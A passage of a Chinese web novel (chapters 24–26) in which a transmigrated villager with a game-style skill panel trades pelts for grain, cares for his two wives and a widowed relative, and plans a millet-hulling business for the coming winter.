“自是可以!难得兄长识货,方才那皮货店的老板,偏要把我这皮子说得一文不值,真是白费了这好成色。”
李逸取出三张白兔皮递了过去,中年男人接过,仔细翻看了一遍,指尖顺着皮毛轻抚,眼神里满是满意:“这皮子确实没话说,剥皮的手法也很讲究,没有伤及皮毛,这是六十钱,你仔细数一下。”
男人从怀中摸出一串铜钱,递了过来。李逸接过数了数,二人痛快地完成了交易。
这笔进账让李逸心情大好,剩下的几张皮子索性不卖了,打算和狍子皮一起带回家,做成御寒的帽子、手套和短袄,冬天进山也能多一层保障。
“铁牛哥”李逸转头看向何铁牛:“难得进城一趟,你要不要买些东西带回去?”
何铁牛闻言,低头琢磨了片刻,眼睛一亮:“对了!出门前你嫂子特意叮嘱我,让我买些粗盐回去,若是山货卖得好,就多买些囤着。”
至于粟米,二人商量着明天出城之前再买,夜里住客舍来往皆是陌生人,现在买了粮食保不齐夜里休息时就被人偷了去,倒不如明早找个靠谱的粮铺,买了直接装车拉走,稳妥得多。
第二十四章:不侍寝,怎么传宗接代?
小客舍的床铺硬邦邦的,铺着一层薄薄的干草,夜里寒气透过破旧的窗棂往里钻,李逸的铜钱都被他偷偷放进物品栏中,身无分文睡得格外踏实。
反观何铁牛,怀里揣着沉甸甸的铜钱,总担心夜里被人偷摸着顺走,不过因为太累太困最后还是睡着了。
天刚蒙蒙亮,鸡叫头遍,何铁牛就爬了起来,搓着手,满眼都是对买粮的期待。
粮店刚卸下门板,一股混合着谷物和尘土的气息扑面而来,掌柜的正打着哈欠拨弄算盘,看到李逸二人推着木板车进来。
“能装多少装多少!”何铁牛撸起袖子,恨不得把整个粮店都搬空:“家里人多,冬天得囤足粮食!”
李逸连忙拉住他,笑道:“铁牛哥,别贪多,路途远,拉太多累坏了得不偿失。”
他转头对掌柜说:“先来一千斤,劳烦帮我们分袋装好。”
掌柜拨弄算盘的动作停下,抬起头惊愕地看着二人:“切莫说笑啊,真要一千斤?”
何铁牛梗着脖子,从怀中拎出几串铜钱:“咋?还能骗你不成?”
见到铜钱掌柜眼睛顿时瞪大了些,忙笑着招呼:“来人,快给这二位装粮,手脚麻利些!”
伙计们手脚麻利地用粗麻布口袋装粟米,金黄的粟米簌簌落入袋中,何铁牛蹲在一旁,眼睛一眨不眨地盯着,时不时伸手摸摸鼓鼓囊囊的粮袋,脸上笑开了花。
一千斤粟米装了十大袋,堆在木板车上像座小山,绳子捆得结结实实。
赶在县城里行人多起来之前,二人推着木板车出了城门。
清晨的风有些凉,李逸从怀里掏出剩下的几张饼子,自己留了一张,其余的都塞给了何铁牛。
“铁牛哥,多吃点,这一路可全靠你拉车了。”
何铁牛也不推辞,三口两口就啃完一张饼,抹了把嘴,弯腰拉起车绳:
“走!争取天黑前到家!”
木板车在冻硬的土路上压出两道车辙,何铁牛身强力壮,拉着千斤粮食依旧脚步稳健,额头上很快渗出汗珠。
李逸跟在后面推车,才推了一个多小时,就觉得胳膊发酸,后背汗湿了一片,冷风一吹,忍不住打了个寒战。
心里暗自腹诽:真是脱裤子放屁费二遍事!自己一个人来,直接用物品栏装粮多省事,哪用得着现在像大牲口一样的埋头拉扯推车?
“铁牛哥,你还撑得住吗?不行咱们就歇会儿,别累坏了身子!”李逸在后面伸着脖子大喊,声音都有些发颤。
何铁牛头也不回,浑厚的声音传来:“没事!我还能行!再走一段,不然天黑前到不了家,夜里赶路不安全!这么多粮食万一遇到打歪心思的怎么办?”
李逸只好咬着牙继续推,只觉得双腿像灌了铅似的沉重。
都说书到用时方恨少,体力这东西更是如此!他现在是要力气没力气,要耐力没耐力,连何铁牛的一半都比不上。
李逸喘着粗气,身体是革命的本钱,以后致富路上没个好身子可不行啊,他想起秦女侠传授的武功,如果每天抽出一点点时间,长期练下去总能强身健体。
还有狩猎等级提升时,他获得过一点体质属性,若是每种生存技能升级都能随机强化身体,那多学些技能岂不是能变得越来越强?
得多发掘些生存技能,堆基数也能把实力堆到强得可怕!
这个念头刚冒出来,李逸就觉得浑身多了点力气。
正午刚过,风渐渐大了起来,呼呼地刮着,好在是顺风,推着车省了不少劲。
二人一路不敢耽搁,终于在太阳落山时,看到了大荒村的轮廓。
先到了何铁牛家,刘氏早就站在门口翘首以盼,看到木板车上的十大袋粟米,眼睛瞬间直了。
她快步迎上来,围着车子转了三圈,伸手摸了摸粮袋,指尖都在发抖:
“哎呦!我的老天爷哦!这得是多少粮食啊?山货和药材这么值钱的?”
“哈哈!”何铁牛累得满头大汗,却笑得格外畅快。
“全靠李三兄弟!跟着他卖货,比自己瞎跑强多了,价格高出一大截呢!”
刘氏拍了何铁牛一巴掌,笑着嗔道:
“憨牛!我就说人家李三兄弟是能做大买卖的人,心思比你活络多了!你以后可得多跟着人家学学,别总闷着头瞎干!”
何铁牛把自家的五袋粟米搬下来,往地上一放,声音带着疲惫:
“饿死我了!你快给我弄点干饭吃,我还得帮李三兄弟把米送过去!”
刘氏连忙应着,看着五大袋粟米,笑得合不拢嘴:
“这么多粮食,今年冬天再也不用饿肚子了,还能煮稠些的粟米粥喝!”
“李三现在真有能耐了,比那游手好闲的王赖子强的多!”
李逸和何铁牛推着剩下的五袋粟米往自家走,刚到院门口,白雪儿和于巧倩就迎了出来,看到木板车上的粮袋,同样脸上满是惊喜。
李逸让何铁牛把粟米扛进屋里,指着墙角特意做的粮食架说:“就放这儿吧”
这架子是他这几日抽空做的,下面悬空能防老鼠,还防潮,木工技能不知不觉都涨到65点。
何铁牛放下粮袋,便匆匆回去了。
屋里烧着炕,暖意融融,白雪儿看着五大袋粟米,欢呼雀跃:“这么多粟米!夫君,那些山货真的这么值钱吗?”
越是挨过饿的人,对粮食越是亲近,看着这满满当当的粮袋,心里就格外踏实。
“夫君,你快上炕暖和会儿。”于巧倩伸手摸了摸李逸的脸颊,触手冰凉,心疼地说:“脸都冻红了。”
这些日子,李逸为家里做的一切,她都看在眼里。
从前的李三是个浑蛋无赖,如今却这般踏实肯干,处处为她们着想,就算日子不算大富大贵,也过得有盼头。
“夫君,饿了吧?锅里温着粥,我去给你盛一碗暖暖身子。”于巧倩说着就要起身,被李逸一把拉住。
“倩儿,别急,让我先缓一缓。”李逸笑着,指了指墙角的箩筐:“雪儿,把那箩筐给我拿来。”
白雪儿连忙把箩筐搬到炕上,箩筐上面盖着破麻袋避人耳目,掀开麻袋,里面是几张没卖掉的皮子,四张灰扑扑的兔皮,两张油光水滑的狍子皮,都打理得干干净净。
“夫君,这皮子怎么没卖?”白雪儿疑惑地问。
“现在天这么冷,皮子应该很好卖才对。”于巧倩也跟着点点头,眼里满是不解。
“嗨,别提了。”李逸叹了口气,语气带着几分无奈。
“皮货店的那些掌柜,心眼一个比一个黑,把价格压得极低,还大言不惭说皮子成色不好,剥皮手法潦草。”
“可恶!这些奸商!”白雪儿不满地嘟着嘴,伸手摸了摸狍子皮:“这皮子多好啊,他们就是故意刁难!”
李逸伸手揉了揉她的头顶,笑道:“所以我一气之下就不卖了,留着给雪儿和倩儿做帽子围脖,冬天出门也能暖和些。”
“夫君,我看这狍子皮厚实,给你做冬衣的里衬肯定暖和。”
于巧倩立刻提议,眼里满是关切,最先想到的还是李逸。
白雪儿也附和道:“姐姐说得对,夫君经常进山打猎,确实该做件皮袄,也好抵御风寒。”
李逸笑着点头,又从箩筐里拿出两双布鞋,这是他离开县城前特意买的。
冬日天凉,布鞋难卖,价格比应季时便宜了不少,他挑的不是最便宜的那种,鞋底是加厚纳制的,针脚细密,鞋面是素净的青布,既美观又舒服。
“雪儿,倩儿,你们的鞋子该换了,试试这双合不合脚。”李逸把鞋子分别递过去。
“哇!好漂亮的鞋子!”
白雪儿接过鞋子,迫不及待地脱了脚上的旧鞋试穿,鞋面贴合脚型,大小刚刚好,她踮着脚转了一圈,脸上满是欢喜。
于巧倩接过鞋子轻轻套在脚上,稍微大了一点,她低头看着脚上的新鞋,心里暖暖的。
【白雪儿好感度+ 10(当前好感度 55)】
【于巧倩好感度+ 5(当前好感度 10)】
看着系统信息李逸面露微笑,看来这两双鞋子确实送到了她们心坎里。
一路奔波,饥寒交迫,李逸却依旧惦记着她们,这份情意让两个姑娘怎能不感动?
李逸最后从箩筐里拿出几大捆线绳,几块布料,还有几双纳好的厚鞋底。
“夫君买这么多针线布料,是给姐姐的吗?”白雪儿好奇地问。
李逸摇摇头,笑道:“不全是,是给我们三个的,冬天屋里闲着没事,我陪倩儿一起做些活计,也好给家里添些衣物。”
于巧倩的脸颊瞬间红了,小声说:“夫君,是嫌我的针线活粗糙吗?”
“是有点粗糙”李逸坦诚道,随即又温柔地补充:“但只要是倩儿亲手缝制的,对我来说就是最好的。”
这般直白的情话,在这个年代,就算是夫妻也很少说出口,于巧倩的脸更红了,心跳不由得加快,连忙起身:“我……我去给夫君盛粥。”
看着她略显慌乱的背影,李逸嘴角微微上扬,李三过去造的孽,总算被他弥补了一些。
白雪儿和于巧倩都是好姑娘,温柔善良,值得他用心呵护。他们这般也算是先婚后爱,感情平凡的日子里一点点培养,就像种地一样,种下种子,悉心照料,总能看到它发芽茁壮成长。
种瓜得瓜,种豆得豆,种下真心,自然也能收获真情。
躺在暖烘烘的火炕上,李逸闭上眼睛,凝神呼出人物面板。淡蓝色的光幕在眼前展开,清晰地显示着各项信息:
【姓名:李逸】
【人物属性】
【力量 1体质 2敏捷 1智力 1】
【资产】
【破屋一栋(修缮)】
【田地四亩(荒废)】
【生存技能】
【狩猎:410/500(熟练)】
【耕种:0/100(入门)】
【医术:40/100(入门)】
【木工:65/100(入门)】
【厨艺:45/100(入门)】
【武功:5/100(入门)】
【裁缝:0/100(入门)】
【伴侣】
【于巧倩:好感度 10】
【白雪儿:好感度 55】
比起最初,生存技能多了不少,李逸渐渐摸清了规律。只要是和生存相关的技能,他都能被动领悟或主动添加,最新的裁缝技能,就是他特意传达意识后出现的。
技多不压身,多一项技能,就多一条变强的途径。他最期待的,还是技能升级时的额外奖励,那可是提升实力的关键。
想着想着,困意渐渐袭来,连日的奔波让他疲惫不堪,很快就沉沉睡去。
于巧倩端着粥碗进来时,看到李逸已经睡着了,眉头微微蹙起,眼里满是心疼。
她想起当初跟着李逸从县衙一路走回村,那段路格外漫长,仿佛没有尽头。
“姐姐,夫君睡着了,粥明早再喝吧。”白雪儿轻手轻脚,小声说:“我去烧些热水,给夫君洗洗脚,解解乏。”
她最开心的就是这个时候。自那晚之后,李逸待她们极好,不再打骂,也不让她们伺候,只有在他累到睡着时,才有机会为他做点什么。
白雪儿蹲坐在灶膛边,看着里面跳动的火苗,屁股下坐着李逸亲手做的小板凳。她低头看向脚上的新鞋子,轻轻缩了缩脚,眉眼不自觉地弯成了月牙。
“姐姐,夫君买的鞋子真好看。”她轻声说,语气里满是欢喜。
于巧倩也低头看了看自己的脚,嘴角忍不住上扬,轻轻点头:“嗯,确实很好看。”
灶膛里的火苗映得两人脸颊通红,白雪儿忽然凑近于巧倩,小声问道:“姐姐,夫君都好久没让我们侍寝了,不侍寝,我们怎么给李家传宗接代呀?”
她说得理所当然,于巧倩闻言,俏脸瞬间红透,连耳根都热了,轻轻掐了她一下,却不知道该怎么回答……
第二十五章:你又来摸我娘了?
李逸之所以改邪归正,对二女所说的就是已故的父亲托梦,让他好生对待两个儿媳妇,抓紧为李家开枝散叶。
如今他已做到了大半,不再打骂她们,反倒用心呵护,也让白雪儿和于巧倩吃饱穿暖,唯独没做到开枝散叶这一条。
白雪儿年纪小,懵懂无知,母亲还没来得及教她男女之事,而于巧倩正值芳华,母亲早早就跟她提过相关事宜。这个月她们两人都来了月事,说明暂无身孕。
刚被李逸从县衙带回来那几日,他对二人百般凌辱,彼时她们心如死灰,对生活毫无盼头,与等死无异。
如今李逸待她们谦逊有礼,疼惜备至,于巧倩从最初的怀疑、担忧,到确认他真心悔改后,才慢慢卸下防备,尝试着接受他,融入现在的生活。
换了心境面对李逸,她也会害羞、紧张,脸颊悄悄发烫。
后半夜,寒风呼啸,木屋的房梁被吹得吱嘎作响,仿佛下一秒就要被寒风掀翻,白雪儿把身子缩成一团,躲在被窝里,只露出一对乌溜溜的大眼睛,在黑暗中紧张的盯着晃动的房梁,直到困意袭来,才沉沉睡去。
次日清晨,气温骤降。
李逸早起方便时,见院子里、田埂上都覆着一层银白色的霜,踩上去咯吱作响。冷风迎面吹来,像刀子似的刮在脸上,他不由得缩了缩脖子,裹紧了身上的旧冬衣。
小跑着回到屋里,李逸翻出针线和几张兔皮,闭上双眼稍作思索,随即脑海中立刻浮现出制作帽子、围脖和手套的法子,都是最实用的保暖样式还很简单,睁开眼,他没有剪子,便用匕首小心翼翼地切割兔皮,动作生疏却专注。
耗费了一张半兔皮,一顶毛茸茸的帽子终于成型,虽不算美观,边缘还带着些不规则的毛边,但别扭的针脚看着很密实,帽子足够厚实保暖。
【裁缝熟练度+ 5】
紧接着,李逸用剩下的半张兔皮裁成条状,缝制成一条短围脖,刚好能护住脖颈,防止寒风从衣领灌入,可以极大程度的保留身体热量。
【裁缝熟练度+ 3】
最后,他找了几块破布拼接,在掌心位置贴了些兔皮边角料,缝制成一双手套,样式简陋却能遮住冻得发僵的手指,不过只得了 1点熟练度。
和狩猎一样,系统会根据制作物件的大小和难度给予相应的熟练度,倒也公平。
李逸摸了摸帽子,也跟着笑了:“能力有限,凑活着保暖就行,你们在家待着,我该进山打猎了。”
因为制作帽子耽搁了些时辰,李逸一路小跑着进山,赶到山林外围时,远远就看到何铁牛忙碌的身影。
只见他正弯腰在草丛中寻觅药材,麻袋已经满了小半,昨日尝到了卖山货和药材的甜头,何铁牛想趁着下大雪前多采集些,天刚亮就迫不及待进了山。
若不是要照顾年幼的孩子,刘氏也想跟着他一起来,总觉得两个人来得比一个人多,采的不是药材而是沉甸甸的铜钱。
“铁牛哥,你来多久了?”李逸看着他手里沉的麻袋,有些惊诧。
何铁牛搓了搓冻得发红的手,憨笑道:“有一阵了,天刚亮我就过来了。”他脸上带着风霜,鼻尖冻得通红,眼神却很炽热。
何铁牛性子憨厚,一旦看到赚钱的门道,就恨不得拼尽全力。
“你可得当心身子,最近天气一天比一天冷,别冻出病来。"李逸好心提醒。
何铁牛砰砰捶了两下胸口,底气十足:“不打紧!我这身子骨,扛得住!”
看到李逸只背了弓箭,没拿麻袋,他问道:“你这是要进山打猎?那你快去吧,我就不跟你凑热闹了。”
昨日对比了打猎和卖山货的收入,何铁牛发现其实相差不大。
打猎他是一窍不通,现在学也来不及,倒不如专心采药材来得踏实,没人跟他抢,一整天下来总能采个两三斤,可以换些粟米补贴家用。
一想到能卖钱,何铁牛就忍不住咧嘴笑,连身上的寒冷都淡了几分。
李逸被他的干劲儿感染,也加快步伐向着深山走去。这两天去县城没来得及进山,那些之前被他惊扰的小动物,又放松了警觉,敢出来觅食了。
随着狩猎熟练度提升,李逸的箭法越发娴熟,他还尝试着摆脱惯性思维,羽箭不一定非要放在箭袋里,从物品栏直接取出,只要切换的熟练,就能节省补充箭矢的时间,别小看这短短一瞬,关键时刻或许能起到至关重要的作用。
“中!”
一只雪兔腾空跃起,身体还在半空,就被羽箭精准射穿头颅,直直坠落在地。李逸没着急上前,反手又一箭,将枝头蹦跶的松鼠射了下来。
这是他第一次狩猎松鼠,这小东西看着不算小,去皮后却没二两肉,肉质柴还带着腥味儿,之前看到几次都懒得动手。
但眼下为了刷熟练度,别说松鼠,就算是一只麻雀飞过,李逸也得射上一箭,自己不喜欢吃,送给何铁牛或张绣娘一家,总能让他们解解馋。
思路打开后,李逸今天的猎物变得五花八门:松鼠、野鸡、小鹌鹑、野兔,收获颇丰。
像松鼠、小鹌鹑这种小体型猎物,系统也没吝啬,依旧给了10点熟练度。
眼看着距离狩猎等级提升只剩最后 20点熟练度,李逸本想一鼓作气,奈何天色渐渐暗了下来,只能悻悻作罢,转身往回走。
外围山林中,何铁牛还拖着麻袋在寻觅药材。
山林里风大还不见阳光,他身上的冬衣单薄,补丁摞着补丁,双手、脖子和脸颊早已冻得红中带紫,甚至有些发僵,却依旧不肯停歇。
听到脚步声,何铁牛抬头,看到打猎归来的李逸,摸了把冻得通红的鼻子,笑道:
“哎呦!李三兄弟,今天收获不错啊!”
李逸皱了皱眉,语气带着关切:“铁牛哥,你这样真不行!就算你身强力壮,这么冷的天熬下去,迟早要生病,你要是病了,家里的活谁来做?”
何铁牛脸上的笑容瞬间收敛,认真点头:“唉……你说得对,我这不是看药材卖得好,想趁着下雪前多弄些嘛。”
李逸甩手将两只松鼠丢到他脚边:“这两只你拿回去烤着吃吧。把皮扒下来,还能做个小围脖,多少能挡点寒。”
何铁牛不好意思地挠了挠头:“哎呀……这多不好意思!总拿你辛苦打的猎物。”
“行了,别推辞!”
李逸上前拍了拍何铁牛的肩膀:
“以后进县城,还指望你出力气拉车呢。自己当心点身体,别得不偿失。”
“天要黑了,咱们快回村吧。”
何铁牛捡起松鼠,小心翼翼揣进怀里,跟着李逸一起出山。
进村分别时,李逸叮嘱何铁牛明早别进山,过来找他一趟。何铁牛痛快答应,心里还琢磨着,是不是李逸又有什么赚钱的好主意。
李逸没直接回家,绕了个路,先去了张绣娘家。
天气寒冷,村里家家户户都关门闭户,躲在屋里猫冬,不过也就只有搭了火炕的李逸家和何铁牛家能暖和些。
刚走到张绣娘家门口,李逸就看到一个熟悉的人影正踮着脚往院子里探头探脑,走路一瘸一拐,不是王赖子还能是谁。
“喂!你干什么呢!”
李逸的喊声突如其来,吓得王赖子一哆嗦,差点没站不稳坐到地上。
他扭头看到是李逸,顿时梗着脖子满脸不满嚷嚷:
“我干啥跟你有啥关系?这又不是你家!”
李逸冷笑一声,上前两步,眼神冷冷的:
“怎么没关系?李初四是我本家哥哥,张绣娘那就是我嫂嫂!”
他逼近一步,语气带着警告,“我告诉你王赖子,别的寡妇家你爱怎么打主意我不管,但这个院子你最好离远点!再敢来骚扰,我打断你的另一条腿!”
王赖子被他的气势震慑,却依旧嘴硬,不愤地叫嚣:
“成!成!成!我算是看出来了,你小子终于把这小张寡妇弄到手了!来硬的不行就来软的,算你厉害!”
说着他捂着受伤的腿离开,临走还不忘记丢下狠话:“李三!你别得意太早!等我的腿好了,咱俩的帐慢慢算!”
看着王赖子一瘸一拐、骂骂咧咧地离开,李逸才推门走进院子。
屋里,张绣娘正在生火,李逸和王赖子的对话她听得真真切切。
知道是李逸把王赖子赶跑了,她心里松了口气,看向门口的眼神却带着些异样,既有感激,又有几分说不清道不明的羞涩。
“娘!三叔把癞子头赶跑了!三叔真厉害!”在屋门口垫着脚往外瞧的豆子,兴奋地跑到锅灶旁,拉着张绣娘的衣角喊道。
“嫂子,我来了!”李逸的声音在门外响起。
张绣娘连忙站起身,带着大丫和豆子迎了出去,脸上堆着笑:
“三兄弟来了!快进屋暖和暖和!”
“三叔!”大丫和豆子齐声喊,小脸上满是欣喜,眼里像藏着星星。
不过五六天的相处,两个孩子就彻底喜欢上了这个变好的三叔。他会给他们带肉吃,会帮衬家里,还会保护他们。
“给,嫂子。”李逸把两只鹌鹑递给张绣娘:“刚打的,给大丫和豆子烧着吃,补补身子。”
张绣娘下意识往后缩了缩手,双手无处安放地抓着衣角,有些不好意思接。
李逸侧了侧身,让她看到身后背着的野兔和野鸡,笑着说:“嫂子,一家人不用见外。我这儿还有不少呢,大丫和豆子都在长身体,得多吃点好的。”
“哎!对!一家人不见外!”张绣娘连忙接过鹌鹑,指尖碰到李逸的手又飞快缩了回去:“快,进屋歇歇脚,喝碗热水!”
“三叔,你的帽子真好看!”
豆子擦了擦挂在鼻尖的鼻涕,瞪着圆溜溜的眼睛,死死盯着李逸头上的兔皮帽,满眼羡慕。
李逸笑着摸了摸他的头顶:“眼光不错!这可是三叔自己做的。过两天,三叔也给你做一顶,再给大丫也做一顶,好不好?”
“好!谢谢三叔!”两个孩子齐声欢呼,小脸上满是期待。
张绣娘站在一旁笑而不语,只当李逸是在哄孩子开心,没往心里去。
“三叔你又来摸我娘了吗?”
第二十六章:带你们赚钱!
“三叔,你又来摸我娘了?”
豆子纯净无邪的眼睛直勾勾的盯着李逸,一句话语出惊人,打了李逸一个措手不及。他指尖猛地一顿,脸上瞬间热了起来。
张绣娘的脸更是唰得红透,连耳根都烧了起来,狠狠瞪了豆子一眼,又急又窘:
“你这孩子,胡说什么!没大没小的!”
李逸连忙岔开话,掩饰住满心的尴尬:“嫂子,腰伤感觉怎么样了?”
他这次登门,一是给大丫和豆子送点新鲜猎物补身子,二是想借机提升医术熟练度,半分歪心思都没有。
“好多了,真是多亏了三兄弟你。”
张绣娘松了口气,语气里满是真切的感激:“不然我这腰怕是真要瘫了,俩孩子可就无依无靠了。”
如今在她眼里,李逸早已不是当初那个游手好闲、狗都嫌的无赖,反倒越看越踏实靠谱,让人心里安稳。
“走,上里屋,我再给你瞧瞧,确认下恢复情况。”李逸转身往屋里走。
他心里坦荡,张绣娘却莫名有些心慌,脸颊的热度迟迟不退。
脑海里不受控制地想起当初情急之下说的“等身体好了就给你”的话,臊得她浑身不自在。
张绣娘轻车熟路地趴在床上,将后背露出来,指尖紧张地攥着身下的破被子。
李逸俯下身,指尖沉稳地按压她的尾椎骨,仔细感受着骨骼的恢复状态,确认没有错位后,又顺着腰侧的经络按揉了片刻,手法轻重适宜,刚好能缓解酸痛。
【医术熟练度+ 2(当前熟练度 42)】
虽说只涨了 2点,聊胜于无,也不枉他特意跑这一趟。
李逸贴心地帮张绣娘拉下衣襟,盖住腰窝,轻声叮嘱:
“行了嫂子,恢复得不错。接下来半个月别干重活别累着,弯腰起身都慢着点,就能彻底好利索了。”
“三叔,你不多摸一会儿吗?我娘挺愿意让你摸的。”
豆子扒着门框没挪窝,又补了一句,语气天真得不含半点杂质。
李逸和张绣娘的脸彻底红透,像是要渗出血来。
“哎呦,三兄弟,豆子年纪小,不懂事乱说话,你可千万别当真!”张绣娘慌忙解释,声音都带着点发颤的窘迫。
李逸无奈地笑了笑,起身往外走,刚到外屋,就看到大丫正往锅里加切碎的野菜。
那粥清汤寡水的,几粒粟米飘在上面,野菜占了大半,稀得能照见人影,根本算不上粥,顶多算是一锅野菜稀饭。
李逸皱起眉头:“嫂子,这粥也太稀了。大丫和豆子正是长身体的时候,你身子也需要补,天冷消耗大,不多吃点实熬不住的!”
“三叔,你别怪我娘。”
大丫抢着开口,小手紧紧攥着衣角,眼神里满是懂事。
“能有稀饭喝,我们就很开心了。你送回来的米省着喝能撑一阵,要是煮稠了,没几天就又要挨饿了。”
张绣娘低下头,长长的睫毛掩住眼底的无奈,双手无意识地绞着衣角,没敢看李逸的眼睛。
她何尝不想让孩子吃饱,可家里粮少,只能省着点过。
李逸轻轻叹了口气,既然决定帮衬,就不能只做表面功夫,得让娘仨真正吃饱饭,过上安稳日子。
“嫂子,你要是信我,就听我的,粟米放心吃,不够了我再给你送。等你腰彻底养好了,我带着你赚粮钱,让大丫和豆子天天吃上干饭,顿顿能沾着荤腥!”
张绣娘缓缓抬起头,看着李逸认真又自信的眼神,她下意识点了点头:“好,嫂子听你的。”
“那明天你带大丫和豆子来我家,我给你看样东西,保证能让你大吃一惊。”李逸笑着说。
张绣娘连连应下,一直把李逸送出小院,看着他的背影消失在沉沉的夜色里,才转身进屋。
她对着丈夫的牌位喃喃自语:
“初四啊,你在天有灵,该体谅我的难处。只靠我一个人,太难把孩子拉扯大了……”
李逸回到家,搓了搓冻得发僵的手,在火炕边暖和了片刻,就忙着准备晚饭。
厨艺的熟练度只能靠日常做饭积累,他早出晚归,只有晚饭这顿能抓住机会,自然不肯浪费。
白雪儿像只黏人的小猫,小手扒着灶台沿,鼻尖凑得极近,连呼吸都带着馋意,直勾勾盯着锅里的鸡肉叮嘱道:“夫君,多加些水!鸡汤留着明天煮面条!”
李逸伸手刮了刮她的鼻尖,眼底满是宠溺:“小馋猫,就知道吃面条,还没吃够啊?”
“嘻嘻,没够!夫君做的面条最好吃了!”
白雪儿笑得眉眼弯弯,如今知道李逸疼她、宠她,也敢大胆撒娇了,不再像以前那样唯唯诺诺。
“你呢,倩儿?”李逸转头看向站在屋门口的于巧倩,语气温和。
“啊?哦……雪儿想吃,我也想吃。”
于巧倩猛地回过神,眼神有些慌乱,指尖悄悄攥紧了衣角,连忙低下头掩饰自己的不自然。
李逸走上前,伸手探了探她的额头,语气带着关切:“脸这么红,是发烧了?还是冻着了?”
“没有没有。”于巧倩慌忙避开他的手,小声解释:“许是在炕上坐久了,有点热,不碍事的。”
油灯里的火苗忽明忽暗,映得简陋的木屋格外温馨,却也衬得屋子越发破旧,李逸皱了皱眉,看向摇晃的房梁:“这木屋住着太不踏实了,风一吹就吱呀响,真怕哪天风大把它吹塌了。”
“嗯嗯嗯!”白雪儿疯狂点头,小脑袋像捣蒜:“我也这么觉得!夜里刮风的时候,我都不敢睡太沉!”
“等明年开春,咱们就砌一间土坯房,厚实又保暖,冬暖夏凉,比这木屋舒服多了。”
李逸随口许下承诺,心里已经开始盘算着。
白雪儿的大眼睛看了看于巧倩,又看了看李逸,吐出嘴里的鸡骨头,犹豫了一下,还是小声开口:
“夫君,你……你许久都没有让我和姐姐侍寝了,是对我和姐姐有什么不满吗?若是我们哪里做得不好,你明说就好,我们一定改得好好服侍夫君”
于巧倩的头埋得更低,几乎要钻进碗里,耳根红得快要滴血。白雪儿则睁着清澈的眼睛,满脸期待又带着点忐忑地看着李逸。
李逸费力地咽下嘴里的饭,他最近忙着打猎、琢磨赚钱的法子,根本没顾上这些儿女情长。
再者,二女身子单薄,就是皮包骨头没几两肉,他实在不忍心。
更重要的是,深挖李三的记忆后,他发现原主近来有了隐疾,这也是他之前性情暴戾凌辱二女的原因之一。
放下碗筷,李逸的表情变得格外郑重,语气温和却带着不容置疑的认真:
“雪儿,倩儿,你们别多想。不是你们做得不好,是你们身子太弱了。如今这般光景,若是真的有孕,对你们和腹中胎儿都不好,怕是很难保住。你们也不想生出来的孩子,瘦得像小猫小狗,体弱多病吧?”
“咱们先好好养身子,夫君也陪你们一起调理。每天多吃点饭,等咱们都养得健健康康的,再努力给李家开枝散叶,好不好?”
白雪儿恍然大悟,重重地点了点头,低下头猛扒饭,心里想着要赶紧养好身体。
于巧倩悄悄松了口气,紧绷的肩膀也放松了些,偷偷抬眼瞥了李逸一眼。
李逸暗自庆幸糊弄过去,心里却盼着系统能赶紧强化他的身体,解决他的隐疾。
其实他早有察觉,最近白雪儿总趁他睡着偷溜进他被窝,小手紧紧搂着他的胳膊,可他竟生不出半点邪念,直到深挖记忆后才知道是身体出现了些问题,确实需要好好调理休养。
天还没亮,刚泛着一丝鱼肚白,李逸顶着刺骨的寒风在院子里练习秦心月教他的《气合拳》。
寒风像刀子似的刮在脸上,他却练得满头冒汗,这套拳法节奏舒缓,讲究以气驭力,练起来浑身发热,驱散了不少寒意。
每练完一遍能得 1点熟练度,练满五遍后就不再增加,得隔天才有收益。
这是武功生存技能的特殊之处,需要日积月累的坚持,急不得。
李逸倒也不焦躁,每天练四五十分钟就行,按照这个进度,坚持二十天就能升级,算是目前最容易最稳定升级的生存技能了。
练完五遍,他浑身暖洋洋的,不仅没有丝毫疲累,反倒格外精神,头脑也清明得很,像喝了浓茶一样提神。
天刚亮,何铁牛就急匆匆地来了,昨天李逸特意叮嘱过,让他一早过来。
如今能囤够过冬的粮食,手里还攒下不少余钱全靠李逸,他早已把李逸当成了能托付的主心骨。
“李三兄弟,你叫我来,有啥事尽管吩咐!”
何铁牛裹着件打满补丁的旧冬衣,脸冻得通红,却难掩兴奋,搓着大手,语气爽快又憨厚。
“一会的麻烦铁牛哥多砍些粗壮的树干回来,我有大用。”李逸说道。
何铁牛拍着胸脯,底气十足:“好说!这点活不算啥!我一个人去就行,你在家等着!”说着他就要转身往外走。
“哎,铁牛哥,等一下!”李逸连忙喊住他:“还有别的事跟你说,得等个人。”
又等了约莫一刻钟,张绣娘带着大丫和豆子来了。
两家离得不远,可这大清早的寒风刺骨,三人还是冻得浑身微微打颤,大丫紧紧牵着弟弟的手,两人都缩着脖子,小脸和耳朵冻的通红。
李逸连忙招呼,“嫂子,我和铁牛哥都等你半天了。”
“三叔,铁牛叔。”大丫和豆子怯生生地喊人,小声音软糯糯的,带着点冻得发颤的意味。
“大丫、豆子,你们俩先去屋里找婶婶。”李逸笑着摸了摸两个孩子的头,语气温和。
等孩子们进屋去找白雪儿和于巧倩,李逸带着何铁牛和张绣娘来到院子角落,指着那个敦实的木桩工具,问道:“嫂子,铁牛哥,你们知道这是什么吗?”
张绣娘第一次见这种新奇物件,满脸疑惑地摇了摇头,何铁牛也摇了摇头,他之前只见过白雪儿在上面踩着玩,没细看是做什么用的。
“这是我做的,用来给粟米脱壳的工具。”李逸笑着揭晓答案。
二人恍然大悟,随即又满脸不解,脱壳的工具,能有什么特别的?难道还能比石杵捣得快?
“铁牛哥,你用石杵捣粟米,一天下来能脱多少斤粟米?”李逸问道。
何铁牛摸着下巴仔细思索了片刻,认真回答:“五六斤吧,要是从早干到晚,不歇气的捣,最多也就十斤粟米,胳膊都累酸了。”
“我也差不多是这个数。”张绣娘跟着点头,用石杵脱壳又累又慢,还出米少,实在费劲。
李逸拍了拍身前敦实的木桩,语气笃定地说:
“用我这工具,一整天下来,能脱四十斤粟米。按七成的出米率算,光纯米就能得二十八斤,比石杵快多了,还省力气。”
“有这么多?”何铁牛瞪大双眼,满脸不敢置信,声音都拔高了些:“这木头墩子……能有这么快?”
李逸重重点头,继续说道:“我今天找你们来就是为了这个。打猎、采药都不是长久之计,等下了大雪,咱们连门都出不去,可日子还得过,肚子还得填,总不能闲着坐吃山空。”
“铁牛哥,你算算,咱们要是买五百斤粟米,脱壳后卖掉,能赚多少?”
